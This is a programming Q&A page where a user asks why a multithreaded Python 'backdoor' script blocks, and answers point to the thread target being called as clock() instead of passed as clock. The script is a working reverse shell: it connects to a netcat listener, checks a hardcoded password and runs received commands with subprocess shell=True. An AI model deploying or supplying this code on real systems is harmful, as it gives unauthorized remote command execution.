Jacob
Jacob

Reputation: 65

How to fix python script being blocked by function even thought it's multithreaded

Im trying out a backdoor program i made for fun and it's multithreaded but only the firs thread gets initialized and then the rest of the program is being blocked until the function ends. It's supposed to print the time each 10 sec but have a backdoor running simultaneously.

I use netcat to communicate with the script. 'nc -l 1234' in Terminal

Ive tried to print right after initilization but it did not print anything.

If i initialize the other thread first the other one gets blocked.(First man to the mill.)

First threads func. has to end before next gets started.

Imports and most of the variables including locks.

import socket
import subprocess
import threading
import time

port = 1234
passw = 'Password'
host = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print_lock = threading.Lock()
sleep_lock = threading.Lock()

Functions

def clock():
    with print_lock:
        print(time.time())
    with sleep_lock:
        time.sleep(10)
    clock()

def login():
    s.send("Login > ".encode('utf-8'))
    usrPassw = s.recv(1024)

    if(usrPassw.decode('utf-8').strip() == passw):
        s.send("Successfully Connected!\n".encode('utf-8'))
        s.send("> ".encode('utf-8'))
        revShell()
    else:
        s.send("Wrong Password!\n".encode('utf-8'))
        login()

def revShell():
    global s
    while True:
        inData = s.recv(1024)

        if(inData.decode('utf-8').strip() == 'logout'):
            break

        sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
        output = sp.stdout.read() + sp.stderr.read()
        s.send(output.encode('utf-8'))
        s.send('> '.encode('utf-8'))

This gets initialized

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

This does not

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

I expect the two threads to run simultaneously but they don't and the first one blocks the main thread and the second thread to be initialized.

Upvotes: 0

Views: 278

Answers (2)

Mahmoud Elshahat
Mahmoud Elshahat

Reputation: 1959

Here is the problem, in "threading.Thread", the "target" parameter expected to be function name, don't put parenthesis after your function just put function name:

change these

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

to:

tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()

Upvotes: 1

James McPherson
James McPherson

Reputation: 2576

You haven't provided your thread instance init(), so we're a bit in the dark.

However, the general approach is to

  • subclass threading.Thread, and in the instance's init() function, ensure that you call threading.Thread.__init__(self)

  • in your __main__() routine, call os.fork() and then if in the child process call run().

I've got a functional example of this at https://github.com/jmcp/jfy-monitor/blob/master/jfymonitor.py

Upvotes: 0

Related Questions